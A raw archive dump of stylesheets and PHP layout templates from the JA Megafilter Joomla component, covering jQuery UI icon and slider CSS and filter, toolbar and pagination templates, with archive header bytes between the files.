.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px;
}PK�v�[���tt#assets/css/jquery.ui.slider-rtl.cssnu�[���/*
Overrides for right-to-left sliders. */

.ui-slider-horizontal.ui-slider-rtl .ui-slider-range-min { left: auto;
right: 0; }
.ui-slider-horizontal.ui-slider-rtl .ui-slider-range-max { left: 0; right:
auto; }

.ui-slider-vertical.ui-slider-rtl .ui-slider-range-min { top: 0; bottom:
auto; }
.ui-slider-vertical.ui-slider-rtl .ui-slider-range-max { top: auto; bottom:
0;
}PK�v�[assets/css/style-rtl.cssnu�[���PK�v�["��lDlDassets/css/jquery-ui.min.cssnu�[���.ui-widget-content
a,.ui-widget-header,.ui-widget-header
a{color:#222}.ui-widget{font-family:Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget
.ui-widget{font-size:1em}.ui-widget button,.ui-widget input,.ui-widget
select,.ui-widget
textarea{font-family:Verdana,Arial,sans-serif;font-size:1em}.ui-widget-content{border:1px
solid #aaa;background:url(../images/ui-bg_flat_75_ffffff_40x100.png) 50%
50% repeat-x #fff;color:#222}.ui-widget-header{border:1px solid
#aaa;background:url(../images/ui-bg_highlight-soft_75_cccccc_1x100.png) 50%
50% repeat-x #ccc;font-weight:700}.ui-state-default,.ui-widget-content
.ui-state-default,.ui-widget-header .ui-state-default{border:1px solid
#d3d3d3;background:url(../images/ui-bg_glass_75_e6e6e6_1x400.png) 50% 50%
repeat-x #e6e6e6;font-weight:400;color:#555}.ui-state-default
a,.ui-state-default a:link,.ui-state-default
a:visited{color:#555;text-decoration:none}.ui-state-focus,.ui-state-hover,.ui-widget-content
.ui-state-focus,.ui-widget-content .ui-state-hover,.ui-widget-header
.ui-state-focus,.ui-widget-header .ui-state-hover{border:1px solid
#999;background:url(../images/ui-bg_glass_75_dadada_1x400.png) 50% 50%
repeat-x
#dadada;font-weight:400;color:#212121;cursor:pointer}.ui-state-hover
a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover
a:visited{color:#212121;text-decoration:none}.ui-state-active,.ui-widget-content
.ui-state-active,.ui-widget-header .ui-state-active{border:1px solid
#aaa;background:url(../images/ui-bg_glass_65_ffffff_1x400.png) 50% 50%
repeat-x #fff;font-weight:400;color:#212121}.ui-state-active
a,.ui-state-active a:link,.ui-state-active
a:visited{color:#212121;text-decoration:none}.ui-state-highlight,.ui-widget-content
.ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid
#fcefa1;background:url(../images/ui-bg_glass_55_fbf9ee_1x400.png) 50% 50%
repeat-x #fbf9ee;color:#363636}.ui-state-highlight a,.ui-widget-content
.ui-state-highlight a,.ui-widget-header .ui-state-highlight
a{color:#363636}.ui-state-error,.ui-widget-content
.ui-state-error,.ui-widget-header .ui-state-error{border:1px solid
#cd0a0a;background:url(../images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50%
repeat-x #fef1ec;color:#cd0a0a}.ui-state-error
a,.ui-state-error-text,.ui-widget-content .ui-state-error
a,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error
a,.ui-widget-header
.ui-state-error-text{color:#cd0a0a}.ui-priority-primary,.ui-widget-content
.ui-priority-primary,.ui-widget-header
.ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content
.ui-priority-secondary,.ui-widget-header
.ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content
.ui-state-disabled,.ui-widget-header
.ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled
.ui-icon{filter:Alpha(Opacity=35)}.ui-slider{position:relative;text-align:left}.ui-slider
.ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default}.ui-slider
.ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0
0}.ui-slider.ui-state-disabled
.ui-slider-handle,.ui-slider.ui-state-disabled
.ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em;margin-left:9px;margin-right:9px}.ui-slider-horizontal
.ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal
.ui-slider-range{top:0;height:100%}.ui-slider-horizontal
.ui-slider-range-min{left:0}.ui-slider-horizontal
.ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical
.ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical
.ui-slider-range{left:0;width:100%}.ui-slider-vertical
.ui-slider-range-min{bottom:0}.ui-slider-vertical
.ui-slider-range-max{top:0}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion
.ui-accordion-header{display:block;cursor:pointer;position:relative;margin-top:2px;padding:.5em
.5em .5em .7em;min-height:0}.ui-accordion
.ui-accordion-icons{padding-left:2.2em}.ui-accordion
.ui-accordion-noicons{padding-left:.7em}.ui-accordion .ui-accordion-icons
.ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-header
.ui-accordion-header-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.ui-accordion
.ui-accordion-content{padding:1em;border-top:none;overflow:auto}.ui-accordion
.ui-accordion-content ul{margin:0}.ui-datepicker{width:17em;padding:.2em
.2em 0;display:none}.ui-datepicker
.ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker
.ui-datepicker-next,.ui-datepicker
.ui-datepicker-prev{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker
.ui-datepicker-next-hover,.ui-datepicker
.ui-datepicker-prev-hover{top:1px}.ui-datepicker
.ui-datepicker-prev{left:2px}.ui-datepicker
.ui-datepicker-next{right:2px}.ui-datepicker
.ui-datepicker-prev-hover{left:1px}.ui-datepicker
.ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-next
span,.ui-datepicker .ui-datepicker-prev
span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker
.ui-datepicker-title{margin:0
2.3em;line-height:1.8em;text-align:center}.ui-datepicker
.ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker
select.ui-datepicker-month,.ui-datepicker
select.ui-datepicker-year{width:45%}.ui-datepicker
table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0
.4em}.ui-datepicker th{padding:.7em
.3em;text-align:center;font-weight:700;border:0}.ui-datepicker
td{border:0;padding:1px}.ui-datepicker td a,.ui-datepicker td
span{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker
.ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0
.2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker
.ui-datepicker-buttonpane button{float:right;margin:.5em .2em
.4em;cursor:pointer;padding:.2em .6em
.3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane
button.ui-datepicker-current,.ui-datepicker-multi
.ui-datepicker-group,.ui-datepicker-rtl .ui-datepicker-buttonpane
button{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi
.ui-datepicker-group table{width:95%;margin:0 auto
.4em}.ui-datepicker-multi-2
.ui-datepicker-group{width:50%}.ui-datepicker-multi-3
.ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4
.ui-datepicker-group{width:25%}.ui-datepicker-multi
.ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi
.ui-datepicker-group-middle
.ui-datepicker-header{border-left-width:0}.ui-datepicker-multi
.ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl
.ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl
.ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl
.ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl
.ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl
.ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl
.ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl
.ui-datepicker-group{float:right}.ui-datepicker-rtl
.ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl
.ui-datepicker-group-middle
.ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker
.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content
.ui-icon,.ui-widget-header
.ui-icon{background-image:url(../images/ui-icons_444444_256x240.png)}.ui-button:focus
.ui-icon,.ui-button:hover .ui-icon,.ui-state-focus .ui-icon,.ui-state-hover
.ui-icon{background-image:url(../images/ui-icons_555555_256x240.png)}.ui-button:active
.ui-icon,.ui-state-active
.ui-icon{background-image:url(../images/ui-icons_ffffff_256x240.png)}.ui-button
.ui-state-highlight.ui-icon,.ui-state-highlight
.ui-icon{background-image:url(../images/ui-icons_777620_256x240.png)}.ui-state-error
.ui-icon,.ui-state-error-text
.ui-icon{background-image:url(../images/ui-icons_cc0000_256x240.png)}.ui-button
.ui-icon{background-image:url(../images/ui-icons_777777_256x240.png)}.ui-icon-blank{background-position:16px
16px}.ui-icon-caret-1-n{background-position:0
0}.ui-icon-caret-1-ne{background-position:-16px
0}.ui-icon-caret-1-e{background-position:-32px
0}.ui-icon-caret-1-se{background-position:-48px
0}.ui-icon-caret-1-s{background-position:-65px
0}.ui-icon-caret-1-sw{background-position:-80px
0}.ui-icon-caret-1-w{background-position:-96px
0}.ui-icon-caret-1-nw{background-position:-112px
0}.ui-icon-caret-2-n-s{background-position:-128px
0}.ui-icon-caret-2-e-w{background-position:-144px
0}.ui-icon-triangle-1-n{background-position:0
-16px}.ui-icon-triangle-1-ne{background-position:-16px
-16px}.ui-icon-triangle-1-e{background-position:-32px
-16px}.ui-icon-triangle-1-se{background-position:-48px
-16px}.ui-icon-triangle-1-s{background-position:-65px
-16px}.ui-icon-triangle-1-sw{background-position:-80px
-16px}.ui-icon-triangle-1-w{background-position:-96px
-16px}.ui-icon-triangle-1-nw{background-position:-112px
-16px}.ui-icon-triangle-2-n-s{background-position:-128px
-16px}.ui-icon-triangle-2-e-w{background-position:-144px
-16px}.ui-icon-arrow-1-n{background-position:0
-32px}.ui-icon-arrow-1-ne{background-position:-16px
-32px}.ui-icon-arrow-1-e{background-position:-32px
-32px}.ui-icon-arrow-1-se{background-position:-48px
-32px}.ui-icon-arrow-1-s{background-position:-65px
-32px}.ui-icon-arrow-1-sw{background-position:-80px
-32px}.ui-icon-arrow-1-w{background-position:-96px
-32px}.ui-icon-arrow-1-nw{background-position:-112px
-32px}.ui-icon-arrow-2-n-s{background-position:-128px
-32px}.ui-icon-arrow-2-ne-sw{background-position:-144px
-32px}.ui-icon-arrow-2-e-w{background-position:-160px
-32px}.ui-icon-arrow-2-se-nw{background-position:-176px
-32px}.ui-icon-arrowstop-1-n{background-position:-192px
-32px}.ui-icon-arrowstop-1-e{background-position:-208px
-32px}.ui-icon-arrowstop-1-s{background-position:-224px
-32px}.ui-icon-arrowstop-1-w{background-position:-240px
-32px}.ui-icon-arrowthick-1-n{background-position:1px
-48px}.ui-icon-arrowthick-1-ne{background-position:-16px
-48px}.ui-icon-arrowthick-1-e{background-position:-32px
-48px}.ui-icon-arrowthick-1-se{background-position:-48px
-48px}.ui-icon-arrowthick-1-s{background-position:-64px
-48px}.ui-icon-arrowthick-1-sw{background-position:-80px
-48px}.ui-icon-arrowthick-1-w{background-position:-96px
-48px}.ui-icon-arrowthick-1-nw{background-position:-112px
-48px}.ui-icon-arrowthick-2-n-s{background-position:-128px
-48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px
-48px}.ui-icon-arrowthick-2-e-w{background-position:-160px
-48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px
-48px}.ui-icon-arrowthickstop-1-n{background-position:-192px
-48px}.ui-icon-arrowthickstop-1-e{background-position:-208px
-48px}.ui-icon-arrowthickstop-1-s{background-position:-224px
-48px}.ui-icon-arrowthickstop-1-w{background-position:-240px
-48px}.ui-icon-arrowreturnthick-1-w{background-position:0
-64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px
-64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px
-64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px
-64px}.ui-icon-arrowreturn-1-w{background-position:-64px
-64px}.ui-icon-arrowreturn-1-n{background-position:-80px
-64px}.ui-icon-arrowreturn-1-e{background-position:-96px
-64px}.ui-icon-arrowreturn-1-s{background-position:-112px
-64px}.ui-icon-arrowrefresh-1-w{background-position:-128px
-64px}.ui-icon-arrowrefresh-1-n{background-position:-144px
-64px}.ui-icon-arrowrefresh-1-e{background-position:-160px
-64px}.ui-icon-arrowrefresh-1-s{background-position:-176px
-64px}.ui-icon-arrow-4{background-position:0
-80px}.ui-icon-arrow-4-diag{background-position:-16px
-80px}.ui-icon-extlink{background-position:-32px
-80px}.ui-icon-newwin{background-position:-48px
-80px}.ui-icon-refresh{background-position:-64px
-80px}.ui-icon-shuffle{background-position:-80px
-80px}.ui-icon-transfer-e-w{background-position:-96px
-80px}.ui-icon-transferthick-e-w{background-position:-112px
-80px}.ui-icon-folder-collapsed{background-position:0
-96px}.ui-icon-folder-open{background-position:-16px
-96px}.ui-icon-document{background-position:-32px
-96px}.ui-icon-document-b{background-position:-48px
-96px}.ui-icon-note{background-position:-64px
-96px}.ui-icon-mail-closed{background-position:-80px
-96px}.ui-icon-mail-open{background-position:-96px
-96px}.ui-icon-suitcase{background-position:-112px
-96px}.ui-icon-comment{background-position:-128px
-96px}.ui-icon-person{background-position:-144px
-96px}.ui-icon-print{background-position:-160px
-96px}.ui-icon-trash{background-position:-176px
-96px}.ui-icon-locked{background-position:-192px
-96px}.ui-icon-unlocked{background-position:-208px
-96px}.ui-icon-bookmark{background-position:-224px
-96px}.ui-icon-tag{background-position:-240px
-96px}.ui-icon-home{background-position:0
-112px}.ui-icon-flag{background-position:-16px
-112px}.ui-icon-calendar{background-position:-32px
-112px}.ui-icon-cart{background-position:-48px
-112px}.ui-icon-pencil{background-position:-64px
-112px}.ui-icon-clock{background-position:-80px
-112px}.ui-icon-disk{background-position:-96px
-112px}.ui-icon-calculator{background-position:-112px
-112px}.ui-icon-zoomin{background-position:-128px
-112px}.ui-icon-zoomout{background-position:-144px
-112px}.ui-icon-search{background-position:-160px
-112px}.ui-icon-wrench{background-position:-176px
-112px}.ui-icon-gear{background-position:-192px
-112px}.ui-icon-heart{background-position:-208px
-112px}.ui-icon-star{background-position:-224px
-112px}.ui-icon-link{background-position:-240px
-112px}.ui-icon-cancel{background-position:0
-128px}.ui-icon-plus{background-position:-16px
-128px}.ui-icon-plusthick{background-position:-32px
-128px}.ui-icon-minus{background-position:-48px
-128px}.ui-icon-minusthick{background-position:-64px
-128px}.ui-icon-close{background-position:-80px
-128px}.ui-icon-closethick{background-position:-96px
-128px}.ui-icon-key{background-position:-112px
-128px}.ui-icon-lightbulb{background-position:-128px
-128px}.ui-icon-scissors{background-position:-144px
-128px}.ui-icon-clipboard{background-position:-160px
-128px}.ui-icon-copy{background-position:-176px
-128px}.ui-icon-contact{background-position:-192px
-128px}.ui-icon-image{background-position:-208px
-128px}.ui-icon-video{background-position:-224px
-128px}.ui-icon-script{background-position:-240px
-128px}.ui-icon-alert{background-position:0
-144px}.ui-icon-info{background-position:-16px
-144px}.ui-icon-notice{background-position:-32px
-144px}.ui-icon-help{background-position:-48px
-144px}.ui-icon-check{background-position:-64px
-144px}.ui-icon-bullet{background-position:-80px
-144px}.ui-icon-radio-on{background-position:-96px
-144px}.ui-icon-radio-off{background-position:-112px
-144px}.ui-icon-pin-w{background-position:-128px
-144px}.ui-icon-pin-s{background-position:-144px
-144px}.ui-icon-play{background-position:0
-160px}.ui-icon-pause{background-position:-16px
-160px}.ui-icon-seek-next{background-position:-32px
-160px}.ui-icon-seek-prev{background-position:-48px
-160px}.ui-icon-seek-end{background-position:-64px
-160px}.ui-icon-seek-first,.ui-icon-seek-start{background-position:-80px
-160px}.ui-icon-stop{background-position:-96px
-160px}.ui-icon-eject{background-position:-112px
-160px}.ui-icon-volume-off{background-position:-128px
-160px}.ui-icon-volume-on{background-position:-144px
-160px}.ui-icon-power{background-position:0
-176px}.ui-icon-signal-diag{background-position:-16px
-176px}.ui-icon-signal{background-position:-32px
-176px}.ui-icon-battery-0{background-position:-48px
-176px}.ui-icon-battery-1{background-position:-64px
-176px}.ui-icon-battery-2{background-position:-80px
-176px}.ui-icon-battery-3{background-position:-96px
-176px}.ui-icon-circle-plus{background-position:0
-192px}.ui-icon-circle-minus{background-position:-16px
-192px}.ui-icon-circle-close{background-position:-32px
-192px}.ui-icon-circle-triangle-e{background-position:-48px
-192px}.ui-icon-circle-triangle-s{background-position:-64px
-192px}.ui-icon-circle-triangle-w{background-position:-80px
-192px}.ui-icon-circle-triangle-n{background-position:-96px
-192px}.ui-icon-circle-arrow-e{background-position:-112px
-192px}.ui-icon-circle-arrow-s{background-position:-128px
-192px}.ui-icon-circle-arrow-w{background-position:-144px
-192px}.ui-icon-circle-arrow-n{background-position:-160px
-192px}.ui-icon-circle-zoomin{background-position:-176px
-192px}.ui-icon-circle-zoomout{background-position:-192px
-192px}.ui-icon-circle-check{background-position:-208px
-192px}.ui-icon-circlesmall-plus{background-position:0
-208px}.ui-icon-circlesmall-minus{background-position:-16px
-208px}.ui-icon-circlesmall-close{background-position:-32px
-208px}.ui-icon-squaresmall-plus{background-position:-48px
-208px}.ui-icon-squaresmall-minus{background-position:-64px
-208px}.ui-icon-squaresmall-close{background-position:-80px
-208px}.ui-icon-grip-dotted-vertical{background-position:0
-224px}.ui-icon-grip-dotted-horizontal{background-position:-16px
-224px}.ui-icon-grip-solid-vertical{background-position:-32px
-224px}.ui-icon-grip-solid-horizontal{background-position:-48px
-224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px
-224px}.ui-icon-grip-diagonal-se{background-position:-80px
-224px}PK�v�[�layouts/filter-list.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

 ?>
<div class="ja-filter-wrapper block filter
filter-wrapper">	
	<div class="block-content filter-content">
		<div class="filter-current filter-values"></div>
    <h3 role="heading" aria-level="2"
class="block-subtitle filter-subtitle"><?php echo
JText::_('COM_JAMEGAFILTER_SHOP_BY'); ?></h3>
	  <dl class="filter-options filter-list"
id="narrow-by-list">

	  </dl>
	</div> 
</div>PK�v�[�v*.��layouts/product-toolbar.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

 ?>
{?pages}
<div class="pages pagination-wrap clearfix">
	<ul aria-labelledby="paging-label" class="items
pages-items pagination">
		<li class="item pages-item-first button{@if value=startPage
is=curPage} disabled{/if}">			
			<a title="Go to First page"
href="#page={startPage}" class="page action start"
data-action="page" data-value="{startPage}">
				<span><?php echo JText::_('COM_JAMEGAFILTER_FIRST');
?></span>
			</a>
		</li>
		
		<li class="item pages-item-prev{@if value=prevPage is=curPage}
disabled{/if}">
			<a title="Prev" href="#page={prevPage}"
class="page action previous" data-action="page"
data-value="{prevPage}">
				<span><?php echo JText::_('JPREV');
?></span>
			</a>
		</li>
		
		{#pages} 
		<li class='item {@if value=. is=curPage} active 
{/if}'>				
			<a class="page" href="#page={.}" title="Go
to page {.}" data-action="page"
data-value="{.}">
				<span>{.}</span>
			</a>
		</li>
		{/pages}
		
		<li class="item pages-item-next{@if value=nextPage is=curPage}
disabled{/if}">
			<a title="Next" href="#page={nextPage}"
class="page action next" data-action="page"
data-value="{nextPage}">
				<span><?php echo JText::_('JNEXT');
?></span>
			</a>
		</li>

		<li class="item pages-item-last{@if value=endPage is=curPage}
disabled{/if}">
			<a title="Go to Last page" href="#page={endPage}"
class="page action last" data-action="page"
data-value="{endPage}">
				<span><?php echo JText::_('COM_JAMEGAFILTER_LAST');
?></span>
			</a>
		</li>
	</ul>
</div> 
{/pages}

<div class="orderby-displaynumber clearfix">
	<div id="toolbar-amount" class="counter
toolbar-amount">
		<?php echo JText::_('COM_JAMEGAFILTER_ITEMS'); ?>
<span class="toolbar-number"
data-lnstate="startIdx">0</span>-<span
class="toolbar-number"
data-lnstate="endIdx">0</span> <?php echo
JText::_('COM_JAMEGAFILTER_OF'); ?> <span
class="toolbar-number"
data-lnstate="totalItems">0</span>
	</div>

	<div class="field limiter pull-right">
		<label for="limiter" class="limiter-label">
			<span><?php echo JText::_('JSHOW');
?></span>
		</label>
		<select class="limiter-options"
data-role="limiter" id="limiter">
			{#productsPerPageAllowed}
			<option{@if value=itemPerPage is=.}
selected="selected"{/if} value="{.}"
data-action="limiter"
data-value="{.}">{.}</option>
			{/productsPerPageAllowed}
		</select>
		<span class="limiter-text"><?php echo
JText::_('COM_JAMEGAFILTER_PER_PAGE'); ?></span>
	</div>

	<div class="toolbar-sorter sorter pull-left">
		<label for="sorter"
class="sorter-label"><?php echo
JText::_('COM_JAMEGAFILTER_SORT_BY'); ?></label>		
		<select class="sorter-options" data-role="sorter"
id="sorter">
			{#sortByOptions}
			<option{@if value=sortField is=field}
selected="selected"{/if} value="{field}"
data-action="sort"
data-value="{field}">{title}</option>
			{/sortByOptions}
		</select>		
		<a data-value="{sortDir}"
data-role="direction-switcher" class="action sorter-action
sort-{sortDir}" href="#" title="Set {sortDir}
Direction" data-action="sortdir">
			<i class="fa fa-long-arrow-up"
aria-hidden="true"></i>
		</a>
	</div>
</div>PK�v�[�?AV33layouts/filter-selected.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 
defined('_JEXEC') or die;
?>
<div class="filter-selected filter-current filter-values">
	<h3 class="block-subtitle filter-current-subtitle"
role="heading" aria-level="2"
data-count="1"><?php echo
JText::_('COM_JAMEGAFILTER_SELECTED_FILTERS'); ?></h3>
	
	<ol class="items">
	{@iter:values}
		{#value}<li class="item">
			<label data-lnprop="{prop}" class="clear-filter action
remove">
	            <span class="filter-label">{name}</span>
	            <span
class="filter-value">{value|s}</span>
		   </label>
        </li>{/value}     
    {/iter}        
	</ol>
	
</div>
<div class="block-actions filter-actions">
    <div class="btn btn-default clear-all-filter action
filter-clear"><?php echo
JText::_('COM_JAMEGAFILTER_CLEAR_ALL'); ?></div>
</div> PK�v�[giZ]��
layouts/filter/filter.rating.phpnu�[���<?php
	/**
	 *
------------------------------------------------------------------------
	 * JA Megafilter Component
	 *
------------------------------------------------------------------------
	 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
	 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
	 * Author: J.O.O.M Solutions Co., Ltd
	 * Websites: http://www.joomlart.com - http://www.joomlancers.com
	 * This file may not be redistributed in whole or significant part.
	 *
------------------------------------------------------------------------
	 */
	//No direct to access this file.
	defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>

<dd class="filter-options-content ">
	<ul class="items filter-items">
		<li class="item first lv-1" hidden>
			<label>
				<input type="radio" name="rating"
value="" >
				<span>All Rate</span>
			</label>
		</li>
	</ul>
</dd>PK�v�[<�1���layouts/filter/filter.value.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<input type="text" name="{options.field}"
class="input-text" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_ENTER_SEARCH') ?>
{options.title}" maxlength="128" />
</dd>PK�v�[d�����"layouts/filter/filter.txtrange.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
